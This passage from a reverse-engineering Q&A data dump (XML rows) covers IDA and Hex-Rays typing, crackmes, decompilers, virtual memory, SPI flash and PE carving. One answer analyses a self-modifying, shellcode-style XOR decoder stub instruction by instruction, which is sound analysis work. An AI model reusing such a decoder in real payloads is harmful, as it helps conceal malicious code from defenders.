  <row Id="5904" PostTypeId="1" AcceptedAnswerId="5905" CreationDate="2014-07-20T14:40:57.810" Score="2" ViewCount="3407" Body="&lt;p&gt;In a disassembly with a call to a &lt;code&gt;DirectDraw-&amp;gt;BltFast&lt;/code&gt; function, I encountered the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(*(void (__stdcall **)(LPDIRECTDRAWSURFACE7, _DWORD, _DWORD, _DWORD, _DWORD, signed int, int, int, int, int))&#xA;((void (__stdcall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v17-&amp;gt;lpVtbl + 7))(&#xA;v17,&#xA;0,&#xA;0,&#xA;*(&amp;amp;g_COREvidSurf + 25),&#xA;0,&#xA;16,&#xA;v75,&#xA;v77,&#xA;v79,&#xA;v81);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The cast has too many arguments. How does one edit the call's cast to fix the disassembly ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;After applying a struct to the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00540825 030                 cmp     [esp+30h+arg_8], ecx&#xA;.text:00540829 030                 mov     edx, g_COREvidSurf+64h&#xA;.text:0054082F 030                 mov     eax, g_CoreVidsurf_6&#xA;.text:00540834 030                 push    10h&#xA;.text:00540836 034                 push    0&#xA;.text:00540838 038                 push    edx&#xA;.text:00540839 03C                 push    0&#xA;.text:0054083B 040                 push    0&#xA;.text:00540844 044                 mov     ecx, [eax]&#xA;.text:00540846 044                 push    eax&#xA;.text:00540847 048                 mov     eax,[ecx+IDirectDrawSurface7Vtbl.BltFast]&#xA;.text:0054084A 048                 call    eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the decompilation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v17.lpVtbl = (struct IDirectDrawSurface7::IDirectDrawSurface7Vtbl *)g_surface2;&#xA;(*(void (__stdcall **)(struct IDirectDrawSurface7::IDirectDrawSurface7Vtbl *, _DWORD, _DWORD, _DWORD, _DWORD, signed int, int, int, int, int))(*(_DWORD *)v17.lpVtbl + offsetof(IDirectDrawSurface7Vtbl, BltFast)))(&#xA;v17.lpVtbl,&#xA;0,&#xA;0,&#xA;*(&amp;amp;g_COREvidSurf + 25),&#xA;0,&#xA;16,&#xA;v75,&#xA;v77,&#xA;v79,&#xA;v81);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The struct used was selected from the standard struct selection in IDA, and if i press 'Y' on the declaration of BltFast in the struct declaration, the call is declared like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HRESULT (__stdcall *BltFast)(IDirectDrawSurface7 *This, DWORD, DWORD, LPDIRECTDRAWSURFACE7, LPRECT, DWORD)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is correct, but as seen above, IDA is still showing too many args.&lt;/p&gt;&#xA;" OwnerUserId="8105" LastEditorUserId="8105" LastEditDate="2014-07-20T15:47:49.800" LastActivityDate="2014-07-20T15:47:49.800" Title="How to fix the type of a function pointer call in the Hex-Rays decompiler?" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5905" PostTypeId="2" ParentId="5904" CreationDate="2014-07-20T14:56:14.597" Score="4" Body="&lt;p&gt;I would define a vtable struct which has the correct function pointers in it. I assume this is an &lt;code&gt;IDirectDrawSurfaceX&lt;/code&gt;? The variable named &lt;code&gt;v17-&amp;gt;lpVtbl&lt;/code&gt; needs to have a type of  &lt;code&gt;IDirectDrawSurfaceX *&lt;/code&gt;. Create this structure of function pointers according to the interface definition on MSDN or load it from a standard structures if IDA has imported the DirectX C interface definitions. Set the type of the &lt;code&gt;v17-&amp;gt;lpVtbl&lt;/code&gt; by pressing &lt;kbd&gt;y&lt;/kbd&gt; on the definition of lpVtbl in whatever structure type &lt;code&gt;v17&lt;/code&gt; is. Then you may need to force the type of the function pointer call to the type of the interface member used in the vtable. You do this by right clicking the call site and choosing &lt;code&gt;Force call type&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2014-07-20T14:56:14.597" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5906" PostTypeId="1" CreationDate="2014-07-20T15:12:32.917" Score="1" ViewCount="660" Body="&lt;p&gt;I was trying out a basic ARM crackme &lt;a href=&quot;http://crackmes.cf/users/blankwall/arm_crack1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Upon running it on my Raspberry pi, it segfaults without giving me any warning. Moreover, I'm unable to set breakpoints anywhere(even on the entry point). Is there some gdb/ARM quirk that I should be aware of? This has happened on an earlier occasion too with another CTF challenge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do get the feeling that my questions is incomplete -- however, I'm not sure what additional information I could provide to help diagnose the problem. If you could let me know what additional information is required, I could update the question with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some output :-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file arm_crack1&#xA;arm_crack1: ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.16, BuildID[sha1]=0xbb39a930c55e6d62c7cc083bb94567adcfe5cc3b, stripped&#xA;$ ldd arm_crack1&#xA;    not a dynamic executable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user1743" LastEditorUserId="15258" LastEditorDisplayName="user1743" LastEditDate="2018-01-01T16:40:58.473" LastActivityDate="2018-01-01T16:40:58.473" Title="crackme binary crashing on Raspberry pi" Tags="|arm|crackme|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5907" PostTypeId="1" CreationDate="2014-07-20T15:44:36.337" Score="1" ViewCount="2665" Body="&lt;p&gt;I need a good decompiler that can decompile python 2.4 byte code. I have looked over the internet and can only find python 2.5+&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are about a few hundred &lt;code&gt;.pycs&lt;/code&gt;, so if it can decompile a directory it would be nice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Easy Python Decompiler is not what I'm looking for.&lt;/p&gt;&#xA;" OwnerUserId="8066" LastEditorUserId="8066" LastEditDate="2014-07-21T15:48:12.147" LastActivityDate="2016-11-21T03:08:58.873" Title="How to decompile python 2.4 bytecode?" Tags="|python|byte-code|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5908" PostTypeId="2" ParentId="4430" CreationDate="2014-07-21T04:17:45.847" Score="2" Body="&lt;p&gt;There is no perfect answer for this, it will greatly depend on your tolerance to false positives. Though there are three answers that come to mind depending on you level of effort you're willing to put in. The options are listed from easiest/least work to hardest/most work - if each one is done correctly - the risk of FP also should go down as well.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The novice approach you mention, looking for versioning strings, is not a bad way. Though you are relying on the developer of the SDK to properly increment this value and trusting that they are correct. It is possible that this value changes or does not change when the Ad SDK itself changes. I've personally seen some that only change these types of values when API styling has changed.&lt;/li&gt;&#xA;&lt;li&gt;A &quot;simplistic&quot; approach you could take is to model the ad SDK's you want to profile. Grab the SDK, run it through &lt;em&gt;dx&lt;/em&gt; to get the Davlik code and then &lt;em&gt;baksmali&lt;/em&gt; this. When performing a comparison against an application with this ad network code, you could in theory - compare it to each iteration of the SDK that you have collected. Assuming the SDK was not changed in any ways (ProGuard/DexGuard/etc may have changed something) - this could show you which iteration of the SDK it is most like. This would be a bit more trustable than simply looking for strings, though it would be more work to catalog the SDK's and building a script to do the comparisons automatically.&lt;/li&gt;&#xA;&lt;li&gt;Using an off-the-shelf difference finder, such as &lt;a href=&quot;https://code.google.com/p/androguard/source/browse/androdiff.py&quot; rel=&quot;nofollow&quot;&gt;AndroDiff&lt;/a&gt;. This might be a bit heavy for what you are attempting to do, though all the code is there to both create signatures and find the differences between Android APKs. While this was mainly developer for malware/rip-off applications, you could modify it to compare the Ad SDK's you have previously extracted and run new applications against these.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Depending on what the exact output you want is, you might choose a different answer. Though the first step would definitely to be start cataloging the SDKs you want and find the actual different between them. &lt;/p&gt;&#xA;" OwnerUserId="8103" LastActivityDate="2014-07-21T04:17:45.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5910" PostTypeId="2" ParentId="5907" CreationDate="2014-07-21T10:02:14.623" Score="8" Body="&lt;p&gt;You just need to search online.&#xA;Anyways here are some python 2.4 decompilers worth trying,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;decompyle - &lt;a href=&quot;http://murphey.org/code/decompyle-2.4.tgz&quot;&gt;http://murphey.org/code/decompyle-2.4.tgz&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;pycdc - &lt;a href=&quot;https://github.com/zrax/pycdc&quot;&gt;https://github.com/zrax/pycdc&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;depython - &lt;a href=&quot;http://depython.com/&quot;&gt;http://depython.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;decompyle service - &lt;a href=&quot;http://www.crazy-compilers.com/decompyle/&quot;&gt;http://www.crazy-compilers.com/decompyle/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Python-Decompiler - &lt;a href=&quot;https://gitorious.org/python-decompiler&quot;&gt;https://gitorious.org/python-decompiler&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;Note : Easy Python Decompiler (written by me) uses pycdc as the backend.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2014-07-21T10:02:14.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5911" PostTypeId="1" AcceptedAnswerId="5913" CreationDate="2014-07-22T02:08:12.817" Score="3" ViewCount="2785" Body="&lt;p&gt;While running &lt;code&gt;notepad.exe&lt;/code&gt; in Ollydbg, I got the following execution trace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(CPU)&#xA;...&#xA;[0x00C73689] CALL notepad.0073053&#xA;[0x00C7369E] PUSH 58&#xA;...&#xA;&#xA;(Memory Map)    &#xA;Address    Size     Owner    Section  Contains      Type  Access   Initial  Mapped as&#xA;...&#xA;000FD000   00002000                                 Priv  RW       Guar     RW&#xA;000FF000   00011000                   stack of mai  Priv  RW       Guar     RW&#xA;...&#xA;00A90000   00001000                                 Priv  RW                RW&#xA;00C70000   00001000 notepad           PE header     Imag  R                 RWE&#xA;00C71000   0000B000 notepad  .text    code,imports  Imag  R                 RWE&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Under the virtual address system of windows operation system,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some address is not in the physical memory or RAM,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Who will translate &lt;code&gt;CALL notepad.0073053&lt;/code&gt; to &lt;code&gt;CALL [Real address 0x??????]&lt;/code&gt;?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When that address is file mapped, who will read that value from the disk in assembly language ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6908" LastEditorUserId="53" LastEditDate="2014-07-22T06:52:49.310" LastActivityDate="2014-07-22T07:40:57.917" Title="Virtual address translation in assembly language" Tags="|disassembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5912" PostTypeId="2" ParentId="5911" CreationDate="2014-07-22T03:04:12.807" Score="1" Body="&lt;p&gt;Sorry, your question is not very clear. Based on what I could understand,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;who will translate &lt;code&gt;CALL notepad.0073053&lt;/code&gt; to &lt;code&gt;CALL [Real address 0x??????]&lt;/code&gt; ?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You will need to look into the &lt;a href=&quot;http://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-manual-325462.pdf&quot; rel=&quot;nofollow&quot;&gt;Intel Instruction Set Reference&lt;/a&gt; for this. There are many different types of opcode for the &lt;code&gt;CALL&lt;/code&gt; instruction. In the code you posted, it uses the following form &lt;br&gt;&lt;code&gt;CALL rel32/rel16&lt;/code&gt; . The meaning of this is &lt;em&gt;Call near, relative, displacement relative to next instruction&lt;/em&gt;. That is, the operand specifies the offset from the immediately next instruction after the &lt;code&gt;EIP&lt;/code&gt; (Instruction Pointer). When the processor encounters such code, it merely adds the operand value to the &lt;code&gt;EIP&lt;/code&gt; to get the call target. It is important to understand that the disassembled code shown in OllyDbg is only for your understanding. In reality the instruction will only be translated at runtime, when the processor encounters it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;When that address is file mapped, who will read that value from the&#xA;  disk in assembly language?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;PE loader&lt;/em&gt; is responsible for loading the executable in memory at the address specified in the &lt;em&gt;PE headers&lt;/em&gt;. The &lt;em&gt;ImageBase&lt;/em&gt; specifies the address of loading, although in modern Operating Systems, this is not always the case. &lt;a href=&quot;http://en.wikipedia.org/wiki/Address_space_layout_randomization&quot; rel=&quot;nofollow&quot;&gt;ASLR &lt;em&gt;(Address Space Layout Randomization)&lt;/em&gt;&lt;/a&gt; also plays a part in determining the load address. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;under the virtual address system of windows operation system, some&#xA;  address is not in the physical memory or RAM,&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Virtual_memory&quot; rel=&quot;nofollow&quot;&gt;Virtual Memory&lt;/a&gt; is a memory management technique which maps memory addresses used by a program, called virtual addresses, into physical addresses in computer memory. This is implemented in both software and hardware. &lt;a href=&quot;http://en.wikipedia.org/wiki/Paging&quot; rel=&quot;nofollow&quot;&gt;Paging&lt;/a&gt; is a part of virtual memory implementation, which facilitates the use of secondary storage, for storing program data. A situation may occur, in which the processor needs access to data, that is not available in the RAM presently. In such case, the processor will generate &lt;a href=&quot;http://en.wikipedia.org/wiki/Page_fault&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;page faults&lt;/em&gt;&lt;/a&gt;. The OS will come to know about this, and will subsequently stall the execution of the program, it will read the pages back from disk into memory, and then execution can continue.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="53" LastEditDate="2014-07-22T07:40:57.917" LastActivityDate="2014-07-22T07:40:57.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5913" PostTypeId="2" ParentId="5911" CreationDate="2014-07-22T06:39:42.630" Score="3" Body="&lt;p&gt;You're talking about memory virtualization, which, unless you're developing an operating system, is nothing you have to care about, since it's transparent to user processes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's true that the address your program sees, notepad.0073053, is not the same as the one that is physically on the hardware address pins on the processor. But, when the processor executes the call instruction, it doesn't translate the destination address by some magic and puts this translated addres into the program counter - the program counter will. after the call, hold 0x007353.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The virtualization is done in the memory management unit (MMU), which you can think of as a separate piece of hardware between the actual processor and the ram. (Of course, they are on the same chip in modern processors, but there used to be separate MMUs long ago). Think of it this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+-----------------+           +----------------------+          +-----------------+&#xA;| CPU             |           | MMU lookup table     |          | RAM             |&#xA;+-----------------+           +----------------------+          +-----------------+&#xA;| call 73053      |  73053    | virtual      | phys. | 63053    |00000            |&#xA;| access 73053 on |----------&amp;gt;| 10000-20000  | a0000 |---------&amp;gt;|10000            |&#xA;| the address bus |           | 40000-50000  | 30000 |          |20000            |&#xA;+-----------------+           | 70000-80000  | 60000 |          |30000            |&#xA;                              +----------------------+          |40000            |&#xA;                                                                |50000            |&#xA;                                                                |60000    X       |&#xA;                                                                |70000            |&#xA;                                                                |80000            |&#xA;                                                                +-----------------+  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The MMU contains a lookup table - which virtual address range maps to which physical addres range. Whenever the processor accesses memory, it tells the mmu which virtual address to access; the MMU uses its lookup table to determine the actual physical address, and that's what it puts on the address bus. But, the processor doesn't care about this translation. What you see in Ollydbg is always the virtual address, never the physical one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The MMU entries are handled inside the operating system, which may rearrange them as it sees fit. For example, the OS may decide to need the RAM block at 60000 for something else, copy the block at 60000 to, for example, 20000, and update the MMU table. Your program won't notice anything of that - it still accesses the same virtual memory location, which is now at a different place in physical memory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+-----------------+           +----------------------+          +-----------------+&#xA;| CPU             |           | MMU lookup table     |          | RAM             |&#xA;+-----------------+           +----------------------+          +-----------------+&#xA;| call 73053      |  73053    | virtual      | phys. | 23053    |00000            |&#xA;| access 73053 on |----------&amp;gt;| 10000-20000  | a0000 |---------&amp;gt;|10000            |&#xA;| the address bus |           | 40000-50000  | 30000 |          |20000    X       |&#xA;+-----------------+           | 70000-80000  | 20000 |          |30000            |&#xA;                              +----------------------+          |40000            |&#xA;                                                                |50000            |&#xA;                                                                |60000            |&#xA;                                                                |70000            |&#xA;                                                                |80000            |&#xA;                                                                +-----------------+  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the operating system decides to page out a memory block to disk, it will clear the corresponding MMU entry. Now, when the processor tries to access that virtual memory, the MMU will generate a &lt;code&gt;page fault&lt;/code&gt;, which tells the processor it can't access the memory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+-----------------+           +----------------------+          +-----------------+&#xA;| CPU             |           | MMU lookup table     |          | RAM             |&#xA;+-----------------+  73053    +----------------------+          +-----------------+&#xA;| call 73053      |----------&amp;gt;| virtual      | phys. |          |00000            |&#xA;| access 73053 on |           | 10000-20000  | a0000 |          |10000            |&#xA;| the address bus | fault!    | 40000-50000  | 30000 |          |20000            |&#xA;+-----------------+&amp;lt;----------| 90000-a0000  | 40000 |          |30000            |&#xA;                              +----------------------+          |40000            |&#xA;                                                                |50000            |&#xA;                                                                |60000            |&#xA;                                                                |70000            |&#xA;                                                                |80000            |&#xA;                                                                +-----------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This page fault will make the processor call the page fault handler within the operating system. The OS keeps a list of which pages it has written to disk, finds a memory location that's currently unused, reads the required page from disk to that location, updates the MMU accordingly, then returns to the user program and re-executes the instruction that generated the page fault. The user program won't know anything about that (unless it tries hard to find out, for example by measuring the real time needed and comparing that to the expected time). In Windows, &lt;code&gt;perfmon&lt;/code&gt;s &lt;code&gt;Ram/Page faults per second&lt;/code&gt; counter will tell you how often that happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Actually, there are different kinds of page faults. Space in the MMU tables is quite limited, it normally doesn't map all of a user program's virtual addresses. When a page fault occurs, the OS first checks &quot;Is that block of memory in RAM somewhere, with only the MMU entry missing?&quot;. If yes, the OS just generates the MMU entry and allows the program to continue. This is called a minor page fault, which is quite fast to handle; page faults that actually access the disk are called major page faults, and impact performance much more).&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-07-22T06:39:42.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5914" PostTypeId="1" CreationDate="2014-07-22T11:46:32.723" Score="1" ViewCount="1111" Body="&lt;p&gt;Is it possible to define (using only visual inspection of PCB and multimeter) whether or not &lt;a href=&quot;https://www.spansion.com/Support/Datasheets/S25FL064A_00.pdf&quot; rel=&quot;nofollow&quot;&gt;SPI Flash&lt;/a&gt; memory can be properly programmed keeping the device In-circuit, without desoldering IC from the PCB? Or this can be found only via trial and error method? CPU specification is not available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PCB image &lt;a href=&quot;http://s27.postimg.org/h31i2r6s3/front.jpg&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt; and &lt;a href=&quot;http://s12.postimg.org/42jjwef19/P1000724.jpg&quot; rel=&quot;nofollow&quot;&gt;2&lt;/a&gt; (SPI Flash memory marked &quot;U42&quot;)&lt;/p&gt;&#xA;" OwnerUserId="39817" LastEditorUserId="39817" LastEditDate="2014-07-22T19:42:15.577" LastActivityDate="2014-08-21T19:52:26.103" Title="In-circuit programming of SPI Flash memory" Tags="|hardware|linux|firmware|pcb|spi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5915" PostTypeId="1" AcceptedAnswerId="5918" CreationDate="2014-07-22T11:57:49.877" Score="1" ViewCount="1473" Body="&lt;p&gt;My exact question sounds like: &#xA;Are there any tools for automated resources extraction such as driver or executable to the ready-to-go &lt;code&gt;.sys&lt;/code&gt; or &lt;code&gt;.exe&lt;/code&gt;/&lt;code&gt;.msi&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I googled several ways, but they haven't solved my problem.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://hp.vector.co.jp/authors/VA003525/emysoft.htm#6&quot; rel=&quot;nofollow&quot;&gt;Exescope&lt;/a&gt;&lt;/strong&gt; -- spoilt the output binary&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;7zip&lt;/strong&gt; -- produced some rubbish(i.e. I can not figure out how to use it to achieve the goal)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.legroom.net/software/uniextract&quot; rel=&quot;nofollow&quot;&gt;Universal Extractor&lt;/a&gt;&lt;/strong&gt; -- same as 7zip&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any tips will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4609" LastEditorUserId="53" LastEditDate="2014-07-22T12:02:26.017" LastActivityDate="2014-07-22T15:45:43.073" Title="Extract driver from PE" Tags="|binary-analysis|pe|" AnswerCount="2" CommentCount="3" ClosedDate="2014-07-23T19:09:47.550" ContentLicense="CC BY-SA 3.0" />
  <row Id="5916" PostTypeId="1" AcceptedAnswerId="5920" CreationDate="2014-07-22T13:19:08.853" Score="3" ViewCount="364" Body="&lt;p&gt;I see a lot of in and out instruction in IDA. I know what those are supposed to do, but I do not know how to treat them and I'm making no advancements in understanding the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short example:&#xA;First instructions of my current assignment are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg000:00000000                 mov     edx, 61666A1Fh&#xA;seg000:00000005                 fincstp&#xA;seg000:00000007                 fnstenv byte ptr [esp-0Ch]&#xA;seg000:0000000B                 pop     esi             ; EIP&#xA;seg000:0000000C                 sub     ecx, ecx&#xA;seg000:0000000E                 mov     cl, 33h ; '3'&#xA;seg000:00000010                 xor     [esi+12h], edx&#xA;seg000:00000013                 add     edx, [esi+12h]  ; &#xA;seg000:00000016                 xor     ecx, 0FFFFFF96h&#xA;seg000:00000019                 test    [ecx+esi*8+957C08Fh], dl&#xA;seg000:00000020                 push    eax             ; ??????&#xA;seg000:00000021                 mov     bl, 0DEh ; '¦'&#xA;seg000:00000023                 in      al, dx&#xA;seg000:00000024                 popa&#xA;seg000:00000025                 loope   near ptr 0FFFFFFACh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm a bit lost at &lt;code&gt;05h&lt;/code&gt;-&lt;code&gt;0Bh&lt;/code&gt; as it's the first time I encounter FPU instructions, but I think that &lt;code&gt;ESI&lt;/code&gt; should point to the where &lt;code&gt;EIP&lt;/code&gt; is pointing to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main question is regarding &lt;code&gt;23h&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;in al, dx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should load a in &lt;code&gt;AL&lt;/code&gt; a byte from port &lt;code&gt;6A1Fh&lt;/code&gt;? Is this relevant in any way or is code like this supposed to make my work harder or hide something? Maybe it's encrypted and at some point some decrypting algorithm will kick in. Or maybe that shouldn't be viewed as code? &lt;/p&gt;&#xA;" OwnerUserId="8119" LastEditorUserId="1547" LastEditDate="2014-07-25T20:46:03.680" LastActivityDate="2014-07-25T20:46:03.680" Title="in / out instructions - how should I treat this?" Tags="|binary-analysis|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5918" PostTypeId="2" ParentId="5915" CreationDate="2014-07-22T15:44:58.270" Score="1" Body="&lt;p&gt;There is already a ready made tool which scans for embedded PE within another PE. &#xA;Download &lt;a href=&quot;http://exeinfo.atwebpages.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Exeinfo PE&lt;/strong&gt;&lt;/a&gt; and use the ripper option. It will automatically scan and dump any embedded PE within the master file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, obviously, the embedded PE should not be compressed or encrypted in any way.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2014-07-22T15:44:58.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5919" PostTypeId="2" ParentId="5915" CreationDate="2014-07-22T15:45:43.073" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;pe-carv.py is script can be used to carve out portable executable&#xA;files from a data stream.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://hooked-on-mnemonics.blogspot.com/2013/01/pe-carvpy.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://hooked-on-mnemonics.blogspot.com/2013/01/pe-carvpy.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;It relies on pefile by Ero Carrera to parse the portable executable&#xA;file format and calculate the file size. Since the script relies on&#xA;the portable executable file format, data that is appended to the end&#xA;of the file (overlay) will not be carved out.&lt;/p&gt;&#xA;&lt;p&gt;The algorithm of the&#xA;script is simple. Search for the strings of the MZ header in a data&#xA;stream, if found read from the address to the end of the file, then&#xA;pass the buffer to pefile. If no exceptions are thrown by pefile then&#xA;we have a valid portable executable file. If an error occurs, search&#xA;for the next MZ header and then start the process again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="161" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2014-07-22T15:45:43.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5920" PostTypeId="2" ParentId="5916" CreationDate="2014-07-22T16:20:23.637" Score="10" Body="&lt;p&gt;This is self-modifying code.  The garbage instructions that you see will be altered dynamically, this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg000:00000000                 mov     edx, 61666A1Fh&#xA;seg000:00000005                 fincstp&#xA;seg000:00000007                 fnstenv byte ptr [esp-0Ch]&#xA;seg000:0000000B                 pop     esi             ; EIP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now esi points to the location of the &lt;code&gt;fincstp&lt;/code&gt; instruction (&lt;code&gt;00000005&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg000:0000000C                 sub     ecx, ecx&#xA;seg000:0000000E                 mov     cl, 33h ; loop counter&#xA;seg000:00000010                 xor     [esi+12h], edx&#xA;seg000:00000013                 add     edx, [esi+12h]  ;sliding key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;esi+12&lt;/code&gt; (&lt;code&gt;00000017&lt;/code&gt;) is being altered, turning this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg000:00000016                 xor     ecx, 0FFFFFF96h&#xA;seg000:00000019                 test    [ecx+esi*8+957C08Fh], dl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg000:00000016                 sub     esi, 0FFFFFFFCh&#xA;seg000:00000019                 loop    near ptr 00000010&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;i.e.&lt;/em&gt; &lt;code&gt;esi = esi + 4&lt;/code&gt;, now it's &lt;code&gt;00000009&lt;/code&gt; (and, then, &lt;code&gt;0x0000000d&lt;/code&gt;, &lt;code&gt;0x00000011&lt;/code&gt;, ...), and the loop continues via the value in &lt;code&gt;ecx&lt;/code&gt;.&#xA;It's a shellcode-style decryptor.  More detailed descriptions of this technique can be found &lt;a href=&quot;http://pferrie.host22.com/papers/shellcode1.pptx&quot;&gt;here&lt;/a&gt; and &lt;a 